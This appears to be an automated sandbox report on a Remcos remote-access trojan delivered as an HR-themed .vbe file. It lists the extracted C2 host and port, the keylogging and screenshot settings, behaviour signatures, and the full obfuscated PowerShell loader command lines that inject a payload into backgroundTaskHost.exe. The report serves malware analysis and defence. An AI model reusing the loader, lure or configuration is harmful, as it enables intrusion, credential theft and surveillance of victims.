Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
06/07/2026, 04:41
General
- Target HR Leave Schedule 2026 (Updated).vbe
- Size 38KB
- Sample260706-fa6alsdw4l
- SHA256 d2eba2825b4eef220cc3c0118960d5e7b114906f6199b0a641ee3ed4663b5e64
Malware Config
Extracted
-
remcos
-
7.2.6 Pro
-
RemoteHost
-
130.12.182.90:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-23OGYM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HR Leave Schedule 2026 (Updated).vbe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'jonisser' 'grind' 'grundlagene';$tinsoldatens=41362-41362;$coulage=-12659+18659;function vinranke ($fisherfolk,$elviss) {$fattiglemmernes=frtidspensionisten(@(116,199,219,212,212,209,215,210,212,222,187,142,212,217,219,222,141,144,202,222,198,202,229,212,149)) ;Focometry ($fattiglemmernes)}function frtidspensionisten ($kilden143) { do {$coulage=$bltestedetntelligensprvers[$tinsoldatens%10];$kilden143[$tinsoldatens]-=$coulage;$dispositions+=[char]$kilden143[$tinsoldatens];$tinsoldatens++} while ($kilden143[$tinsoldatens])$dispositions}function Focometry ($protopodial) {&($pickable) $protopodial}Function Dozerfrernes ($kilden143,$monticulate=0){$standardprogrammels=frtidspensionisten(@(171,164,225,207,226,209,215,224,194,172,138,167,228,208,217,174,198,223,202,168,132,180,230,211,213,218,204,148,137,221,185,205,214,198,218,157,153,159,142));$odrens=@(Focometry ($standardprogrammels));For($bltestedet=0; $odrens[$bltestedet] -ne $blodlegemer; $bltestedet++){$odrens[$bltestedet] = vinranke $odrens[$bltestedet] $bltestedetntelligensprvers[$bltestedet%10]}$forbindskasses=frtidspensionisten(@(125,203,225,202,218,140,192,207,205,211,194,188,207,190,144,219,201,222,202,224,195));$forsgsbasis=Focometry ($forbindskasses);if ($monticulate) { Focometry $forsgsbasis}else {;$forsgsbasis}}$bltestedetntelligensprvers=@(80,97,114,97,108,108,101,108,101,114);$pickable=frtidspensionisten @(153,166,202);$speculators='\Funkle.mas';$fortsttelseskursusets=Dozerfrernes 'ZU9CQUQ7DAIBHScSUi84TFRcS0JrQSUIAlpRV0UKZlVJQR4aX11QQH5RW0ErCQYHCl1iUUNRXF1VXUU0ORMXBwMUSl1QQH5R';$christiansborg=Dozerfrernes 'OBUGER9WSkMBADkXF08LAwoLCRd+Ah0MQxkGUwAKIA4AFVEIChsLHj8AFkcFCFhdBzU2ER8MPR4KCAYUCVA4EjQDLCc/GjEUQxkmPjonB0M=';$elvissanisters=Dozerfrernes 'HRIKDABeSz8AACYEADkhIC04MSJ+V1xR';$fisherfolkdiathermic=Dozerfrernes 'FyQm';$polylith=Dozerfrernes 'BRIXE0EtAgkLBg==';$contraindicate=Dozerfrernes 'bg==';Dozerfrernes 'dAYeDg4NCVYXFyATGxIJHgsJVEVlXFYEAhpfDRUCNAAGAEdIFhwAESUNExUDHhY=' 1;Dozerfrernes 'dAYeDg4NCVYRHT0ABhEZHgBRQRE4ExsSGAUEAhYQPxMVTx8cCQURWnQCHQ8YHgQFCxY5AhMVCUU=' 1;$christiansborg=$tomatpure[0];Dozerfrernes 'dAYeDg4NCVYWFyYEHBUVXldfWDw1Fl8uDgYADxFSfSIdDExIAAATGyMSEw8FHxEJFwE=' 1;Dozerfrernes 'dAYeDg4NCVYNFz4SCw8fABYEABY1E09JOAkWGEgiMRUaQUgeABwXGyMEAA8JXVJZTA==' 1;while (!$hensynslsheder) {Dozerfrernes 'dAYeDg4NCVYoHT8PHggHCQsJFgFtRQYTGQk=' 1;Dozerfrernes 'dBIXFwkCERVXQGNPHREJAk1IAxsjCRcTCgMJBwEbMRUaBB4BDA9JUnQCGhMFHxEFBBwjAx0TC0BFSAMTPBIXSA==' 1;Dozerfrernes 'dBIXFwkCERVXQGNPAQQYPgAdEBcjFToEDQgAHk1WIA4eGAAFEQRJUnQHHRMYHxEYAB4jBAEKGR4WGRYXJBJb' 1;Dozerfrernes 'dBIXFwkCERVXQGNPAQQCCE1F' 1;Dozerfrernes 'dAYeDg4NCVYWAiIIBgMFAAwfEQFtRQEEGgkLGBxAYlJcEhgNERkWUn0EA0FeXFU=' 1;if ($spritbilists) {Dozerfrernes 'CwMLFQk3ODFBFTwOEAAAVg4FFwciBhcPH1FBHwAENQ8GGF5eVkIXFyMRHQ8fCScDAQs=' 1;Dozerfrernes 'IwJSRR4JFR4MATUTHARdW1BMQRk5EwcTCwkLH0VfFQ8RDggFCwtFMCkVFw==' 1} Dozerfrernes 'Aw0XBBxEUUU=' 1;Dozerfrernes 'dAYeDg4NCVYNFz4SCw8fABYEABY1E09JOAkWGEgiMRUaQUgeABwXGyMEAA8JXVJZTA==' 1 ;Dozerfrernes 'dAYeDg4NCVYRFzwEAgAYBRYHAE90Bh4ODg0JVgMbIwoXDgAFABgEEDwEBlNcXk5HQFYkDh8AGBwQHgBcMw4HDxg=' 1;$christiansborg=$tomatpure[$telepatiske]}$tilgodeseende=147514;$bltestedetntersoil=19743;Dozerfrernes 'dAYeDg4NCVYWHSUTEQQKGQkCAAEjXBUCTEgXCRUAORIXEwIJVFtQ' 1;Dozerfrernes 'dAYeDg4NCVYmEyQAEQ0VHwgNERszXCkiAwITCRcGDVtIJx4DCC4EATVXRjIYHgwCAlp0Eh0UHg8AChAePgQBEkU=' 1;Dozerfrernes 'dAYeDg4NCVYMHDYEAFNRNzEJHQZ+JBwCAwgMAgIvalszMi8lLEIiFyQyBhMFAgJEQTExFRMCABUWAQQGOQJb' 1;Dozerfrernes 'dAYeDg4NCVYUBzkPBhQcAAAYFk90CBwHCR5XQhYHMhIGEwUCAkRBBjkNFQ4ICRYJABw0BF5FDgARCRYGNQUXFQIYAB4WHTkNWw==' 1;Focometry $quintuplets;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'jonisser' 'grind' 'grundlagene';$tinsoldatens=41362-41362;$coulage=-12659+18659;function vinranke ($fisherfolk,$elviss) {$fattiglemmernes=frtidspensionisten(@(116,199,219,212,212,209,215,210,212,222,187,142,212,217,219,222,141,144,202,222,198,202,229,212,149)) ;Focometry ($fattiglemmernes)}function frtidspensionisten ($kilden143) { do {$coulage=$bltestedetntelligensprvers[$tinsoldatens%10];$kilden143[$tinsoldatens]-=$coulage;$dispositions+=[char]$kilden143[$tinsoldatens];$tinsoldatens++} while ($kilden143[$tinsoldatens])$dispositions}function Focometry ($protopodial) {&($pickable) $protopodial}Function Dozerfrernes ($kilden143,$monticulate=0){$standardprogrammels=frtidspensionisten(@(171,164,225,207,226,209,215,224,194,172,138,167,228,208,217,174,198,223,202,168,132,180,230,211,213,218,204,148,137,221,185,205,214,198,218,157,153,159,142));$odrens=@(Focometry ($standardprogrammels));For($bltestedet=0; $odrens[$bltestedet] -ne $blodlegemer; $bltestedet++){$odrens[$bltestedet] = vinranke $odrens[$bltestedet] $bltestedetntelligensprvers[$bltestedet%10]}$forbindskasses=frtidspensionisten(@(125,203,225,202,218,140,192,207,205,211,194,188,207,190,144,219,201,222,202,224,195));$forsgsbasis=Focometry ($forbindskasses);if ($monticulate) { Focometry $forsgsbasis}else {;$forsgsbasis}}$bltestedetntelligensprvers=@(80,97,114,97,108,108,101,108,101,114);$pickable=frtidspensionisten @(153,166,202);$speculators='\Funkle.mas';$fortsttelseskursusets=Dozerfrernes 'ZU9CQUQ7DAIBHScSUi84TFRcS0JrQSUIAlpRV0UKZlVJQR4aX11QQH5RW0ErCQYHCl1iUUNRXF1VXUU0ORMXBwMUSl1QQH5R';$christiansborg=Dozerfrernes 'OBUGER9WSkMBADkXF08LAwoLCRd+Ah0MQxkGUwAKIA4AFVEIChsLHj8AFkcFCFhdBzU2ER8MPR4KCAYUCVA4EjQDLCc/GjEUQxkmPjonB0M=';$elvissanisters=Dozerfrernes 'HRIKDABeSz8AACYEADkhIC04MSJ+V1xR';$fisherfolkdiathermic=Dozerfrernes 'FyQm';$polylith=Dozerfrernes 'BRIXE0EtAgkLBg==';$contraindicate=Dozerfrernes 'bg==';Dozerfrernes 'dAYeDg4NCVYXFyATGxIJHgsJVEVlXFYEAhpfDRUCNAAGAEdIFhwAESUNExUDHhY=' 1;Dozerfrernes 'dAYeDg4NCVYRHT0ABhEZHgBRQRE4ExsSGAUEAhYQPxMVTx8cCQURWnQCHQ8YHgQFCxY5AhMVCUU=' 1;$christiansborg=$tomatpure[0];Dozerfrernes 'dAYeDg4NCVYWFyYEHBUVXldfWDw1Fl8uDgYADxFSfSIdDExIAAATGyMSEw8FHxEJFwE=' 1;Dozerfrernes 'dAYeDg4NCVYNFz4SCw8fABYEABY1E09JOAkWGEgiMRUaQUgeABwXGyMEAA8JXVJZTA==' 1;while (!$hensynslsheder) {Dozerfrernes 'dAYeDg4NCVYoHT8PHggHCQsJFgFtRQYTGQk=' 1;Dozerfrernes 'dBIXFwkCERVXQGNPHREJAk1IAxsjCRcTCgMJBwEbMRUaBB4BDA9JUnQCGhMFHxEFBBwjAx0TC0BFSAMTPBIXSA==' 1;Dozerfrernes 'dBIXFwkCERVXQGNPAQQYPgAdEBcjFToEDQgAHk1WIA4eGAAFEQRJUnQHHRMYHxEYAB4jBAEKGR4WGRYXJBJb' 1;Dozerfrernes 'dBIXFwkCERVXQGNPAQQCCE1F' 1;Dozerfrernes 'dAYeDg4NCVYWAiIIBgMFAAwfEQFtRQEEGgkLGBxAYlJcEhgNERkWUn0EA0FeXFU=' 1;if ($spritbilists) {Dozerfrernes 'CwMLFQk3ODFBFTwOEAAAVg4FFwciBhcPH1FBHwAENQ8GGF5eVkIXFyMRHQ8fCScDAQs=' 1;Dozerfrernes 'IwJSRR4JFR4MATUTHARdW1BMQRk5EwcTCwkLH0VfFQ8RDggFCwtFMCkVFw==' 1} Dozerfrernes 'Aw0XBBxEUUU=' 1;Dozerfrernes 'dAYeDg4NCVYNFz4SCw8fABYEABY1E09JOAkWGEgiMRUaQUgeABwXGyMEAA8JXVJZTA==' 1 ;Dozerfrernes 'dAYeDg4NCVYRFzwEAgAYBRYHAE90Bh4ODg0JVgMbIwoXDgAFABgEEDwEBlNcXk5HQFYkDh8AGBwQHgBcMw4HDxg=' 1;$christiansborg=$tomatpure[$telepatiske]}$tilgodeseende=147514;$bltestedetntersoil=19743;Dozerfrernes 'dAYeDg4NCVYWHSUTEQQKGQkCAAEjXBUCTEgXCRUAORIXEwIJVFtQ' 1;Dozerfrernes 'dAYeDg4NCVYmEyQAEQ0VHwgNERszXCkiAwITCRcGDVtIJx4DCC4EATVXRjIYHgwCAlp0Eh0UHg8AChAePgQBEkU=' 1;Dozerfrernes 'dAYeDg4NCVYMHDYEAFNRNzEJHQZ+JBwCAwgMAgIvalszMi8lLEIiFyQyBhMFAgJEQTExFRMCABUWAQQGOQJb' 1;Dozerfrernes 'dAYeDg4NCVYUBzkPBhQcAAAYFk90CBwHCR5XQhYHMhIGEwUCAkRBBjkNFQ4ICRYJABw0BF5FDgARCRYGNQUXFQIYAB4WHTkNWw==' 1;Focometry $quintuplets;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Funkle.mas
memory/248-38-0x0000000007360000-0x0000000007382000-memory.dmp
memory/248-32-0x0000000005F40000-0x0000000005F5E000-memory.dmp
memory/248-37-0x0000000007410000-0x00000000074A6000-memory.dmp
memory/248-36-0x00000000064E0000-0x00000000064FA000-memory.dmp
memory/248-35-0x00000000075A0000-0x0000000007C1C000-memory.dmp
memory/248-39-0x00000000081E0000-0x000000000879A000-memory.dmp
memory/248-33-0x0000000005F90000-0x0000000005FDC000-memory.dmp
memory/248-23-0x0000000005120000-0x000000000576A000-memory.dmp
memory/248-41-0x00000000087A0000-0x0000000009F8B000-memory.dmp
memory/248-30-0x0000000005B10000-0x0000000005E6B000-memory.dmp
memory/248-27-0x00000000058E0000-0x0000000005946000-memory.dmp
memory/248-26-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/248-21-0x0000000004A90000-0x0000000004AC6000-memory.dmp
memory/248-24-0x0000000005060000-0x0000000005082000-memory.dmp
memory/1388-14-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-25-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-22-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-20-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-15-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-0-0x00007FF8F8EBF000-0x00007FF8F8EC0000-memory.dmp
memory/1388-13-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-12-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-11-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-10-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-9-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-8-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-7-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-6-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-5-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/1388-4-0x0000021747250000-0x0000021747272000-memory.dmp
memory/1388-1-0x00007FF8F8D30000-0x00007FF8F96D4000-memory.dmp
memory/4732-53-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-58-0x000000001EDC0000-0x000000001EEB7000-memory.dmp
memory/4732-62-0x000000001EDC0000-0x000000001EEB7000-memory.dmp
memory/4732-61-0x000000001EDC0000-0x000000001EEB7000-memory.dmp
memory/4732-63-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-64-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-65-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-66-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-67-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-68-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-69-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-70-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-71-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-72-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-73-0x0000000000CC0000-0x0000000001FA6000-memory.dmp
memory/4732-74-0x0000000000CC0000-0x0000000001FA6000-memory.dmp